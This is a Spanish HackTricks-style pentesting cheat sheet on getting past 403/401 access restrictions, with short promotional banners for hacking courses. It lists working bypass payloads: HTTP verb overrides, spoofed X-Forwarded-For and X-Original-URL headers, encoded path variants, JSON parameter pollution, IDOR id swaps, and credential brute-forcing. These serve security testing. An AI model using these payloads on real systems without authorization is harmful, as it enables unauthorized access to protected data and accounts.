403 & 401 Bypasses
Last updated
Last updated
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
Encuentra y reporta vulnerabilidades críticas y explotables con un impacto real en el negocio. Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
Intenta usar diferentes verbos para acceder al archivo: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
Revisa los encabezados de respuesta, tal vez se pueda obtener alguna información. Por ejemplo, una respuesta 200 a HEAD con Content-Length: 55
significa que el verbo HEAD puede acceder a la información. Pero aún necesitas encontrar una manera de exfiltrar esa información.
Usar un encabezado HTTP como X-HTTP-Method-Override: PUT
puede sobrescribir el verbo utilizado.
Usa el verbo TRACE
y si tienes mucha suerte, tal vez en la respuesta también puedas ver los encabezados añadidos por proxies intermedios que podrían ser útiles.
Cambia el encabezado Host a algún valor arbitrario (que funcionó aquí)
Intenta usar otros User Agents para acceder al recurso.
Fuzz HTTP Headers: Intenta usar encabezados de proxy HTTP, autenticación básica de HTTP y fuerza bruta NTLM (con solo algunas combinaciones) y otras técnicas. Para hacer todo esto he creado la herramienta fuzzhttpbypass.
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost
Si la ruta está protegida, puedes intentar eludir la protección de la ruta usando estos otros encabezados:
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
Si la página está detrás de un proxy, tal vez sea el proxy el que te impide acceder a la información privada. Intenta abusar de HTTP Request Smuggling o encabezados hop-by-hop.
Fuzz encabezados HTTP especiales buscando diferentes respuestas.
Fuzz encabezados HTTP especiales mientras haces fuzzing de métodos HTTP.
Elimina el encabezado Host y tal vez podrás eludir la protección.
Si /path está bloqueado:
Intenta usar /%2e/path _(si el acceso está bloqueado por un proxy, esto podría eludir la protección). Intenta también_** /%252e**/path (doble codificación de URL)
Intenta eludir Unicode: /%ef%bc%8fpath (Los caracteres codificados en URL son como "/") así que cuando se codifiquen de nuevo será //path y tal vez ya habrás eludido la verificación del nombre /path
Otras elusiones de ruta:
site.com/secret –> HTTP 403 Forbidden
site.com/SECRET –> HTTP 200 OK
site.com/secret/ –> HTTP 200 OK
site.com/secret/. –> HTTP 200 OK
site.com//secret// –> HTTP 200 OK
site.com/./secret/.. –> HTTP 200 OK
site.com/;/secret –> HTTP 200 OK
site.com/.;/secret –> HTTP 200 OK
site.com//;//secret –> HTTP 200 OK
site.com/secret.json –> HTTP 200 OK (ruby)
Usa toda esta lista en las siguientes situaciones:
/FUZZsecret
/FUZZ/secret
/secretFUZZ
Otras elusiones de API:
/v3/users_data/1234 --> 403 Forbidden
/v1/users_data/1234 --> 200 OK
{“id”:111} --> 401 Unauthriozied
{“id”:[111]} --> 200 OK
{“id”:111} --> 401 Unauthriozied
{“id”:{“id”:111}} --> 200 OK
{"user_id":"<legit_id>","user_id":"<victims_id>"} (Contaminación de Parámetros JSON)
user_id=ATTACKER_ID&user_id=VICTIM_ID (Contaminación de Parámetros)
Cambia el valor del parámetro: De id=123
--> id=124
Agrega parámetros adicionales a la URL: ?
id=124
—-> id=124&isAdmin=true
Elimina los parámetros
Reordena los parámetros
Usa caracteres especiales.
Realiza pruebas de límite en los parámetros — proporciona valores como -234 o 0 o 99999999 (solo algunos valores de ejemplo).
Si usas HTTP/1.1 intenta usar 1.0 o incluso prueba si soporta 2.0.
Obtén la IP o CNAME del dominio y trata de contactarlo directamente.
Intenta estresar el servidor enviando solicitudes GET comunes (Funcionó para este tipo con Facebook).
Cambia el protocolo: de http a https, o de https a http
Ve a https://archive.org/web/ y verifica si en el pasado ese archivo fue accesible mundialmente.
Adivina la contraseña: Prueba las siguientes credenciales comunes. ¿Sabes algo sobre la víctima? ¿O el nombre del desafío CTF?
Fuerza bruta: Prueba autenticación básica, digest y NTLM.
Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio. Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)